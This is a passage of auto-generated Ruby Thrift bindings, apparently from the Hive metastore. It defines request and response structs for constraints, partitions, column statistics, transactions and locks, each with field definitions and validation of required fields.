DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbname'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tablename'},
CONSTRAINTNAME => {:type => ::Thrift::Types::STRING, :name => 'constraintname'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbname is unset!') unless @dbname
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tablename is unset!') unless @tablename
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field constraintname is unset!') unless @constraintname
end
::Thrift::Struct.generate_accessors self
end
class AddPrimaryKeyRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
PRIMARYKEYCOLS = 1
FIELDS = {
PRIMARYKEYCOLS => {:type => ::Thrift::Types::LIST, :name => 'primaryKeyCols', :element => {:type => ::Thrift::Types::STRUCT, :class => ::SQLPrimaryKey}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field primaryKeyCols is unset!') unless @primaryKeyCols
end
::Thrift::Struct.generate_accessors self
end
class AddForeignKeyRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
FOREIGNKEYCOLS = 1
FIELDS = {
FOREIGNKEYCOLS => {:type => ::Thrift::Types::LIST, :name => 'foreignKeyCols', :element => {:type => ::Thrift::Types::STRUCT, :class => ::SQLForeignKey}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field foreignKeyCols is unset!') unless @foreignKeyCols
end
::Thrift::Struct.generate_accessors self
end
class AddUniqueConstraintRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
UNIQUECONSTRAINTCOLS = 1
FIELDS = {
UNIQUECONSTRAINTCOLS => {:type => ::Thrift::Types::LIST, :name => 'uniqueConstraintCols', :element => {:type => ::Thrift::Types::STRUCT, :class => ::SQLUniqueConstraint}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field uniqueConstraintCols is unset!') unless @uniqueConstraintCols
end
::Thrift::Struct.generate_accessors self
end
class AddNotNullConstraintRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
NOTNULLCONSTRAINTCOLS = 1
FIELDS = {
NOTNULLCONSTRAINTCOLS => {:type => ::Thrift::Types::LIST, :name => 'notNullConstraintCols', :element => {:type => ::Thrift::Types::STRUCT, :class => ::SQLNotNullConstraint}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field notNullConstraintCols is unset!') unless @notNullConstraintCols
end
::Thrift::Struct.generate_accessors self
end
class PartitionsByExprResult
include ::Thrift::Struct, ::Thrift::Struct_Union
PARTITIONS = 1
HASUNKNOWNPARTITIONS = 2
FIELDS = {
PARTITIONS => {:type => ::Thrift::Types::LIST, :name => 'partitions', :element => {:type => ::Thrift::Types::STRUCT, :class => ::Partition}},
HASUNKNOWNPARTITIONS => {:type => ::Thrift::Types::BOOL, :name => 'hasUnknownPartitions'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field partitions is unset!') unless @partitions
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field hasUnknownPartitions is unset!') if @hasUnknownPartitions.nil?
end
::Thrift::Struct.generate_accessors self
end
class PartitionsByExprRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TBLNAME = 2
EXPR = 3
DEFAULTPARTITIONNAME = 4
MAXPARTS = 5
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TBLNAME => {:type => ::Thrift::Types::STRING, :name => 'tblName'},
EXPR => {:type => ::Thrift::Types::STRING, :name => 'expr', :binary => true},
DEFAULTPARTITIONNAME => {:type => ::Thrift::Types::STRING, :name => 'defaultPartitionName', :optional => true},
MAXPARTS => {:type => ::Thrift::Types::I16, :name => 'maxParts', :default => -1, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tblName is unset!') unless @tblName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field expr is unset!') unless @expr
end
::Thrift::Struct.generate_accessors self
end
class TableStatsResult
include ::Thrift::Struct, ::Thrift::Struct_Union
TABLESTATS = 1
FIELDS = {
TABLESTATS => {:type => ::Thrift::Types::LIST, :name => 'tableStats', :element => {:type => ::Thrift::Types::STRUCT, :class => ::ColumnStatisticsObj}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tableStats is unset!') unless @tableStats
end
::Thrift::Struct.generate_accessors self
end
class PartitionsStatsResult
include ::Thrift::Struct, ::Thrift::Struct_Union
PARTSTATS = 1
FIELDS = {
PARTSTATS => {:type => ::Thrift::Types::MAP, :name => 'partStats', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::LIST, :element => {:type => ::Thrift::Types::STRUCT, :class => ::ColumnStatisticsObj}}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field partStats is unset!') unless @partStats
end
::Thrift::Struct.generate_accessors self
end
class TableStatsRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TBLNAME = 2
COLNAMES = 3
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TBLNAME => {:type => ::Thrift::Types::STRING, :name => 'tblName'},
COLNAMES => {:type => ::Thrift::Types::LIST, :name => 'colNames', :element => {:type => ::Thrift::Types::STRING}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tblName is unset!') unless @tblName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field colNames is unset!') unless @colNames
end
::Thrift::Struct.generate_accessors self
end
class PartitionsStatsRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TBLNAME = 2
COLNAMES = 3
PARTNAMES = 4
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TBLNAME => {:type => ::Thrift::Types::STRING, :name => 'tblName'},
COLNAMES => {:type => ::Thrift::Types::LIST, :name => 'colNames', :element => {:type => ::Thrift::Types::STRING}},
PARTNAMES => {:type => ::Thrift::Types::LIST, :name => 'partNames', :element => {:type => ::Thrift::Types::STRING}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tblName is unset!') unless @tblName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field colNames is unset!') unless @colNames
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field partNames is unset!') unless @partNames
end
::Thrift::Struct.generate_accessors self
end
class AddPartitionsResult
include ::Thrift::Struct, ::Thrift::Struct_Union
PARTITIONS = 1
FIELDS = {
PARTITIONS => {:type => ::Thrift::Types::LIST, :name => 'partitions', :element => {:type => ::Thrift::Types::STRUCT, :class => ::Partition}, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class AddPartitionsRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TBLNAME = 2
PARTS = 3
IFNOTEXISTS = 4
NEEDRESULT = 5
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TBLNAME => {:type => ::Thrift::Types::STRING, :name => 'tblName'},
PARTS => {:type => ::Thrift::Types::LIST, :name => 'parts', :element => {:type => ::Thrift::Types::STRUCT, :class => ::Partition}},
IFNOTEXISTS => {:type => ::Thrift::Types::BOOL, :name => 'ifNotExists'},
NEEDRESULT => {:type => ::Thrift::Types::BOOL, :name => 'needResult', :default => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tblName is unset!') unless @tblName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field parts is unset!') unless @parts
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field ifNotExists is unset!') if @ifNotExists.nil?
end
::Thrift::Struct.generate_accessors self
end
class DropPartitionsResult
include ::Thrift::Struct, ::Thrift::Struct_Union
PARTITIONS = 1
FIELDS = {
PARTITIONS => {:type => ::Thrift::Types::LIST, :name => 'partitions', :element => {:type => ::Thrift::Types::STRUCT, :class => ::Partition}, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class DropPartitionsExpr
include ::Thrift::Struct, ::Thrift::Struct_Union
EXPR = 1
PARTARCHIVELEVEL = 2
FIELDS = {
EXPR => {:type => ::Thrift::Types::STRING, :name => 'expr', :binary => true},
PARTARCHIVELEVEL => {:type => ::Thrift::Types::I32, :name => 'partArchiveLevel', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field expr is unset!') unless @expr
end
::Thrift::Struct.generate_accessors self
end
class RequestPartsSpec < ::Thrift::Union
include ::Thrift::Struct_Union
class << self
def names(val)
RequestPartsSpec.new(:names, val)
end
def exprs(val)
RequestPartsSpec.new(:exprs, val)
end
end
NAMES = 1
EXPRS = 2
FIELDS = {
NAMES => {:type => ::Thrift::Types::LIST, :name => 'names', :element => {:type => ::Thrift::Types::STRING}},
EXPRS => {:type => ::Thrift::Types::LIST, :name => 'exprs', :element => {:type => ::Thrift::Types::STRUCT, :class => ::DropPartitionsExpr}}
}
def struct_fields; FIELDS; end
def validate
raise(StandardError, 'Union fields are not set.') if get_set_field.nil? || get_value.nil?
end
::Thrift::Union.generate_accessors self
end
class DropPartitionsRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TBLNAME = 2
PARTS = 3
DELETEDATA = 4
IFEXISTS = 5
IGNOREPROTECTION = 6
ENVIRONMENTCONTEXT = 7
NEEDRESULT = 8
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TBLNAME => {:type => ::Thrift::Types::STRING, :name => 'tblName'},
PARTS => {:type => ::Thrift::Types::STRUCT, :name => 'parts', :class => ::RequestPartsSpec},
DELETEDATA => {:type => ::Thrift::Types::BOOL, :name => 'deleteData', :optional => true},
IFEXISTS => {:type => ::Thrift::Types::BOOL, :name => 'ifExists', :default => true, :optional => true},
IGNOREPROTECTION => {:type => ::Thrift::Types::BOOL, :name => 'ignoreProtection', :optional => true},
ENVIRONMENTCONTEXT => {:type => ::Thrift::Types::STRUCT, :name => 'environmentContext', :class => ::EnvironmentContext, :optional => true},
NEEDRESULT => {:type => ::Thrift::Types::BOOL, :name => 'needResult', :default => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tblName is unset!') unless @tblName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field parts is unset!') unless @parts
end
::Thrift::Struct.generate_accessors self
end
class ResourceUri
include ::Thrift::Struct, ::Thrift::Struct_Union
RESOURCETYPE = 1
URI = 2
FIELDS = {
RESOURCETYPE => {:type => ::Thrift::Types::I32, :name => 'resourceType', :enum_class => ::ResourceType},
URI => {:type => ::Thrift::Types::STRING, :name => 'uri'}
}
def struct_fields; FIELDS; end
def validate
unless @resourceType.nil? || ::ResourceType::VALID_VALUES.include?(@resourceType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field resourceType!')
end
end
::Thrift::Struct.generate_accessors self
end
class Function
include ::Thrift::Struct, ::Thrift::Struct_Union
FUNCTIONNAME = 1
DBNAME = 2
CLASSNAME = 3
OWNERNAME = 4
OWNERTYPE = 5
CREATETIME = 6
FUNCTIONTYPE = 7
RESOURCEURIS = 8
FIELDS = {
FUNCTIONNAME => {:type => ::Thrift::Types::STRING, :name => 'functionName'},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
CLASSNAME => {:type => ::Thrift::Types::STRING, :name => 'className'},
OWNERNAME => {:type => ::Thrift::Types::STRING, :name => 'ownerName'},
OWNERTYPE => {:type => ::Thrift::Types::I32, :name => 'ownerType', :enum_class => ::PrincipalType},
CREATETIME => {:type => ::Thrift::Types::I32, :name => 'createTime'},
FUNCTIONTYPE => {:type => ::Thrift::Types::I32, :name => 'functionType', :enum_class => ::FunctionType},
RESOURCEURIS => {:type => ::Thrift::Types::LIST, :name => 'resourceUris', :element => {:type => ::Thrift::Types::STRUCT, :class => ::ResourceUri}}
}
def struct_fields; FIELDS; end
def validate
unless @ownerType.nil? || ::PrincipalType::VALID_VALUES.include?(@ownerType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field ownerType!')
end
unless @functionType.nil? || ::FunctionType::VALID_VALUES.include?(@functionType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field functionType!')
end
end
::Thrift::Struct.generate_accessors self
end
class TxnInfo
include ::Thrift::Struct, ::Thrift::Struct_Union
ID = 1
STATE = 2
USER = 3
HOSTNAME = 4
AGENTINFO = 5
HEARTBEATCOUNT = 6
METAINFO = 7
STARTEDTIME = 8
LASTHEARTBEATTIME = 9
FIELDS = {
ID => {:type => ::Thrift::Types::I64, :name => 'id'},
STATE => {:type => ::Thrift::Types::I32, :name => 'state', :enum_class => ::TxnState},
USER => {:type => ::Thrift::Types::STRING, :name => 'user'},
HOSTNAME => {:type => ::Thrift::Types::STRING, :name => 'hostname'},
AGENTINFO => {:type => ::Thrift::Types::STRING, :name => 'agentInfo', :default => %q"Unknown", :optional => true},
HEARTBEATCOUNT => {:type => ::Thrift::Types::I32, :name => 'heartbeatCount', :default => 0, :optional => true},
METAINFO => {:type => ::Thrift::Types::STRING, :name => 'metaInfo', :optional => true},
STARTEDTIME => {:type => ::Thrift::Types::I64, :name => 'startedTime', :optional => true},
LASTHEARTBEATTIME => {:type => ::Thrift::Types::I64, :name => 'lastHeartbeatTime', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field id is unset!') unless @id
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field state is unset!') unless @state
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field user is unset!') unless @user
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field hostname is unset!') unless @hostname
unless @state.nil? || ::TxnState::VALID_VALUES.include?(@state)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field state!')
end
end
::Thrift::Struct.generate_accessors self
end
class GetOpenTxnsInfoResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
TXN_HIGH_WATER_MARK = 1
OPEN_TXNS = 2
FIELDS = {
TXN_HIGH_WATER_MARK => {:type => ::Thrift::Types::I64, :name => 'txn_high_water_mark'},
OPEN_TXNS => {:type => ::Thrift::Types::LIST, :name => 'open_txns', :element => {:type => ::Thrift::Types::STRUCT, :class => ::TxnInfo}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field txn_high_water_mark is unset!') unless @txn_high_water_mark
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field open_txns is unset!') unless @open_txns
end
::Thrift::Struct.generate_accessors self
end
class GetOpenTxnsResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
TXN_HIGH_WATER_MARK = 1
OPEN_TXNS = 2
MIN_OPEN_TXN = 3
ABORTEDBITS = 4
FIELDS = {
TXN_HIGH_WATER_MARK => {:type => ::Thrift::Types::I64, :name => 'txn_high_water_mark'},
OPEN_TXNS => {:type => ::Thrift::Types::LIST, :name => 'open_txns', :element => {:type => ::Thrift::Types::I64}},
MIN_OPEN_TXN => {:type => ::Thrift::Types::I64, :name => 'min_open_txn', :optional => true},
ABORTEDBITS => {:type => ::Thrift::Types::STRING, :name => 'abortedBits', :binary => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field txn_high_water_mark is unset!') unless @txn_high_water_mark
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field open_txns is unset!') unless @open_txns
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field abortedBits is unset!') unless @abortedBits
end
::Thrift::Struct.generate_accessors self
end
class OpenTxnRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
NUM_TXNS = 1
USER = 2
HOSTNAME = 3
AGENTINFO = 4
FIELDS = {
NUM_TXNS => {:type => ::Thrift::Types::I32, :name => 'num_txns'},
USER => {:type => ::Thrift::Types::STRING, :name => 'user'},
HOSTNAME => {:type => ::Thrift::Types::STRING, :name => 'hostname'},
AGENTINFO => {:type => ::Thrift::Types::STRING, :name => 'agentInfo', :default => %q"Unknown", :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field num_txns is unset!') unless @num_txns
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field user is unset!') unless @user
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field hostname is unset!') unless @hostname
end
::Thrift::Struct.generate_accessors self
end
class OpenTxnsResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
TXN_IDS = 1
FIELDS = {
TXN_IDS => {:type => ::Thrift::Types::LIST, :name => 'txn_ids', :element => {:type => ::Thrift::Types::I64}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field txn_ids is unset!') unless @txn_ids
end
::Thrift::Struct.generate_accessors self
end
class AbortTxnRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
TXNID = 1
FIELDS = {
TXNID => {:type => ::Thrift::Types::I64, :name => 'txnid'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field txnid is unset!') unless @txnid
end
::Thrift::Struct.generate_accessors self
end
class AbortTxnsRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
TXN_IDS = 1
FIELDS = {
TXN_IDS => {:type => ::Thrift::Types::LIST, :name => 'txn_ids', :element => {:type => ::Thrift::Types::I64}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field txn_ids is unset!') unless @txn_ids
end
::Thrift::Struct.generate_accessors self
end
class CommitTxnRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
TXNID = 1
FIELDS = {
TXNID => {:type => ::Thrift::Types::I64, :name => 'txnid'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field txnid is unset!') unless @txnid
end
::Thrift::Struct.generate_accessors self
end
class LockComponent
include ::Thrift::Struct, ::Thrift::Struct_Union
TYPE = 1
LEVEL = 2
DBNAME = 3
TABLENAME = 4
PARTITIONNAME = 5
OPERATIONTYPE = 6
ISACID = 7
ISDYNAMICPARTITIONWRITE = 8
FIELDS = {
TYPE => {:type => ::Thrift::Types::I32, :name => 'type', :enum_class => ::LockType},
LEVEL => {:type => ::Thrift::Types::I32, :name => 'level', :enum_class => ::LockLevel},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbname'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tablename', :optional => true},
PARTITIONNAME => {:type => ::Thrift::Types::STRING, :name => 'partitionname', :optional => true},
OPERATIONTYPE => {:type => ::Thrift::Types::I32, :name => 'operationType', :default => 5, :optional => true, :enum_class => ::DataOperationType},
ISACID => {:type => ::Thrift::Types::BOOL, :name => 'isAcid', :default => false, :optional => true},
ISDYNAMICPARTITIONWRITE => {:type => ::Thrift::Types::BOOL, :name => 'isDynamicPartitionWrite', :default => false, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field type is unset!') unless @type
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field level is unset!') unless @level
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbname is unset!') unless @dbname
unless @type.nil? || ::LockType::VALID_VALUES.include?(@type)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field type!')
end
unless @level.nil? || ::LockLevel::VALID_VALUES.include?(@level)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field level!')
end
unless @operationType.nil? || ::DataOperationType::VALID_VALUES.include?(@operationType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field operationType!')
end
end
::Thrift::Struct.generate_accessors self
end
class LockRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
COMPONENT = 1
TXNID = 2
USER = 3
HOSTNAME = 4
AGENTINFO = 5
FIELDS = {
COMPONENT => {:type => ::Thrift::Types::LIST, :name => 'component', :element => {:type => ::Thrift::Types::STRUCT, :class => ::LockComponent}},
TXNID => {:type => ::Thrift::Types::I64, :name => 'txnid', :optional => true},
USER => {:type => ::Thrift::Types::STRING, :name => 'user'},
HOSTNAME => {:type => ::Thrift::Types::STRING, :name => 'hostname'},
AGENTINFO => {:type => ::Thrift::Types::STRING, :name => 'agentInfo', :default => %q"Unknown", :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field component is unset!') unless @component
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field user is unset!') unless @user
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field hostname is unset!') unless @hostname
end
::Thrift::Struct.generate_accessors self
end
class LockResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
LOCKID = 1
STATE = 2
FIELDS = {
LOCKID => {:type => ::Thrift::Types::I64, :name => 'lockid'},
STATE => {:type => ::Thrift::Types::I32, :name => 'state', :enum_class => ::LockState}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field lockid is unset!') unless @lockid
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field state is unset!') unless @state
unless @state.nil? || ::LockState::VALID_VALUES.include?(@state)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field state!')
end
end
::Thrift::Struct.generate_accessors self
end
class CheckLockRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
LOCKID = 1
TXNID = 2
ELAPSED_MS = 3
FIELDS = {
LOCKID => {:type => ::Thrift::Types::I64, :name => 'lockid'},
TXNID => {:type => ::Thrift::Types::I64, :name => 'txnid', :optional => true},
ELAPSED_MS => {:type => ::Thrift::Types::I64, :name => 'elapsed_ms', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field lockid is unset!') unless @lockid
end
::Thrift::Struct.generate_accessors self
end
class UnlockRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
LOCKID = 1
FIELDS = {
LOCKID => {:type => ::Thrift::Types::I64, :name => 'lockid'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field lockid is unset!') unless @lockid
end
::Thrift::Struct.generate_accessors self
end
class ShowLocksRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TABLENAME = 2
PARTNAME = 3
ISEXTENDED = 4
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbname', :optional => true},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tablename', :optional => true},
PARTNAME => {:type => ::Thrift::Types::STRING, :name => 'partname', :optional => true},
ISEXTENDED => {:type => ::Thrift::Types::BOOL, :name => 'isExtended', :default => false, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class ShowLocksResponseElement
include ::Thrift::Struct, ::Thrift::Struct_Union
LOCKID = 1
DBNAME = 2
TABLENAME = 3
PARTNAME = 4
STATE = 5
TYPE = 6
TXNID = 7
LASTHEARTBEAT = 8
ACQUIREDAT = 9
USER = 10
HOSTNAME = 11
HEARTBEATCOUNT = 12
AGENTINFO = 13
BLOCKEDBYEXTID = 14
BLOCKEDBYINTID = 15
LOCKIDINTERNAL = 16
FIELDS = {
LOCKID => {:type => ::Thrift::Types::I64, :name => 'lockid'},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbname'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tablename', :optional => true},
PARTNAME => {:type => ::Thrift::Types::STRING, :name => 'partname', :optional => true},
STATE => {:type => ::Thrift::Types::I32, :name => 'state', :enum_class => ::LockState},
TYPE => {:type => ::Thrift::Types::I32, :name => 'type', :enum_class => ::LockType},
TXNID => {:type => ::Thrift::Types::I64, :name => 'txnid', :optional => true},
LASTHEARTBEAT => {:type => ::Thrift::Types::I64, :name => 'lastheartbeat'},
ACQUIREDAT => {:type => ::Thrift::Types::I64, :name => 'acquiredat', :optional => true},
USER => {:type => ::Thrift::Types::STRING, :name => 'user'},
HOSTNAME => {:type => ::Thrift::Types::STRING, :name => 'hostname'},
HEARTBEATCOUNT => {:type => ::Thrift::Types::I32, :name => 'heartbeatCount', :default => 0, :optional => true},
AGENTINFO => {:type => ::Thrift::Types::STRING, :name => 'agentInfo', :optional => true},
BLOCKEDBYEXTID => {:type => ::Thrift::Types::I64, :name => 'blockedByExtId', :optional => true},
BLOCKEDBYINTID => {:type => ::Thrift::Types::I64, :name => 'blockedByIntId', :optional => true},
LOCKIDINTERNAL => {:type => ::Thrift::Types::I64, :name => 'lockIdInternal', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field lockid is unset!') unless @lockid
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbname is unset!') unless @dbname
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field state is unset!') unless @state
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field type is unset!') unless @type
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field lastheartbeat is unset!') unless @lastheartbeat
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field user is unset!') unless @user
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field hostname is unset!') unless @hostname
unless @state.nil? || ::LockState::VALID_VALUES.include?(@state)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field state!')
end
unless @type.nil? || ::LockType::VALID_VALUES.include?(@type)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field type!')
end
end
::Thrift::Struct.generate_accessors self
end
class ShowLocksResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
LOCKS = 1
FIELDS = {
LOCKS => {:type => ::Thrift::Types::LIST, :name => 'locks', :element => {:type => ::Thrift::Types::STRUCT, :class => ::ShowLocksResponseElement}}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class HeartbeatRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
LOCKID = 1
TXNID = 2
FIELDS = {
LOCKID => {:type => ::Thrift::Types::I64, :name => 'lockid', :optional => true},
TXNID => {:type => ::Thrift::Types::I64, :name => 'txnid', :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class HeartbeatTxnRangeRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
MIN = 1
MAX = 2
FIELDS = {
MIN => {:type => ::Thrift::Types::I64, :name => 'min'},
MAX => {:type => ::Thrift::Types::I64, :name => 'max'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field min is unset!') unless @min
